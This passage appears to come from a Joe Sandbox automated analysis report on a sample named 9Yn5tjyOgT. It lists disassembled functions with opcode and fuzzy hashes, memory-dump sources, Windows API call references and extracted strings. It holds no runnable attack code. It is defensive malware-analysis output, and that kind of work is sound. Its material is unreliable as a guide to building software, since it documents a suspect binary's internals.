Opcode Fuzzy Hash: b37dbec86577b11c0ba93eb3577ebcae50a25a160fe2432196ba2fbd683a48fb
Instruction Fuzzy Hash: 75C1BE74E01258CFEB14DFA5C994B9DBBB2BF89301F2080A9D809AB355DB359E85CF50

Function 39585F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf5c00a39de13675709fb3a01efa2fb571ebc1d4e19e23da416b56ae5b1f7f2
Instruction ID: 47f4bae063fc5343258e2f266d4ec6201e4edde788efc00e63aeda7ac0a42570
Opcode Fuzzy Hash: ccf5c00a39de13675709fb3a01efa2fb571ebc1d4e19e23da416b56ae5b1f7f2
Instruction Fuzzy Hash: 8CC1BF74E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D809AB355DB359E85CF50

Function 395867C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b971d56e88077ae56fea3e74b2316516657c3beb2441c39f091dcac8b3a67f
Instruction ID: 8329856425075fd78b42062459f1e7259a292eb415f89962f3cb3b69ba6d9dfd
Opcode Fuzzy Hash: f0b971d56e88077ae56fea3e74b2316516657c3beb2441c39f091dcac8b3a67f
Instruction Fuzzy Hash: 40C1AE74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39580FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3fc4fbb9daa0b90eb0c3ed5a8456b7cd7104eca87e40a197822e0adf79e56d
Instruction ID: c8d39a585cb2c2984d4e03c1b16d5452445fcc97d2f0967da8278315b37ed606
Opcode Fuzzy Hash: 1a3fc4fbb9daa0b90eb0c3ed5a8456b7cd7104eca87e40a197822e0adf79e56d
Instruction Fuzzy Hash: ADC1BE74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39585660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316f3963fd18249f5a026032c65a4c19f6bb450348e96c2242cd8fbd40af1ece
Instruction ID: 94cc132fd77fc87c6bdf9e269f0d2190b09a0622e979218b4dc007f6895eca0e
Opcode Fuzzy Hash: 316f3963fd18249f5a026032c65a4c19f6bb450348e96c2242cd8fbd40af1ece
Instruction Fuzzy Hash: 72C1A074E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D409AB355DB359E86CF50

Function 39582E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820238f64c50ac9669594c00597b3c715c444a4094dca5d67959f79363d7419
Instruction ID: 2152694d940c0efd6fe3ae8e00b1a2f3f1c2a74ff60c9b18615157b8cd7c9c0f
Opcode Fuzzy Hash: f820238f64c50ac9669594c00597b3c715c444a4094dca5d67959f79363d7419
Instruction Fuzzy Hash: 5FC19D74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 395836C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b220f7cea917844a58f194708833c0c6294e6cfa1020e4ff9d3b9f8973f4e27d
Instruction ID: 357dfbce1986cbfcf688484bf6e1726ce1a22d1b5bfb6a536f9ffac3a1a64761
Opcode Fuzzy Hash: b220f7cea917844a58f194708833c0c6294e6cfa1020e4ff9d3b9f8973f4e27d
Instruction Fuzzy Hash: 19C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 36B8E347 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20a284510b0231d1369b84cb7c834d87dc0181a2b87d454a0ebaa04710f29a7
Instruction ID: a380509eb40b1f7cfa396e0dcc463673c7c518397f122aa865b3eeb9acbb0145
Opcode Fuzzy Hash: f20a284510b0231d1369b84cb7c834d87dc0181a2b87d454a0ebaa04710f29a7
Instruction Fuzzy Hash: 2DC1B074E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB349E86CF51

Function 36B8C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0343cfd6200a9df932b6a9f90fafca220707360718ca78e9c454a58156692569
Instruction ID: 47cf1885ab7e95d31270002d11735b9286a16c20874e3e640f110d9b5d71e0a7
Opcode Fuzzy Hash: 0343cfd6200a9df932b6a9f90fafca220707360718ca78e9c454a58156692569
Instruction Fuzzy Hash: 7FC1A074E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85CF50

Function 36B8B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7635d98bf8a22871c1753b2db19569bc369557d9d5ddc306e7b278b5b72f9f1f
Instruction ID: 08d4b718f03600048f602ae9c949d1f4d478754ab372c7972ad13132bcc9e101
Opcode Fuzzy Hash: 7635d98bf8a22871c1753b2db19569bc369557d9d5ddc306e7b278b5b72f9f1f
Instruction Fuzzy Hash: E4C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D819AB355DB359E85CF10

Function 39588193 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3cd5cb67966da6343999be41c1ef75994660b839dc1bf8c55e0372cbdbad43
Instruction ID: 0834c9b6260a80c1cb6e7f00d7b936f09b4a6856aafe6aba7ff46ed288e3197c
Opcode Fuzzy Hash: 7e3cd5cb67966da6343999be41c1ef75994660b839dc1bf8c55e0372cbdbad43
Instruction Fuzzy Hash: 3CA19A74A05268CFDB64DF24C894B9ABBB2BF4A301F1085EAD50DA7250DB359EC1CF51

Function 39588373 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b80beb82f2b2e5496fe8367a6c01fb0fa65df0b96de380f6f3f1cf23f7f57e7e
Instruction ID: 26c6561ac1c1fadd302dbd26538bf2456c17e29360ad50fc86a17595b553c9f9
Opcode Fuzzy Hash: b80beb82f2b2e5496fe8367a6c01fb0fa65df0b96de380f6f3f1cf23f7f57e7e
Instruction Fuzzy Hash: A3518E74A05268CFCB64DF24C954B9EB7B2BF4A301F5085EAD50AA7350DB359E81CF50

Function 3958CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5146c5e0394ddd089741a347f74a2ee66e77c51f631b792725ea6ae00872280b
Instruction ID: 379efd2aa43574e115b70f2479bafbf59e0d5b6f25157f358ce4cf5fa6709f3a
Opcode Fuzzy Hash: 5146c5e0394ddd089741a347f74a2ee66e77c51f631b792725ea6ae00872280b
Instruction Fuzzy Hash: 4FD06774D54218CACB11DF68DC546ECB770BB9A300F0124958148A7200D7719A94CE56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,?), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,?,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,76233420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
(7B, xrefs: 00403B04
_Nb, xrefs: 00403C5C, 00403CC4
RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.exe, xrefs: 00403BE6
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEdit, xrefs: 00403D33

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,?,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
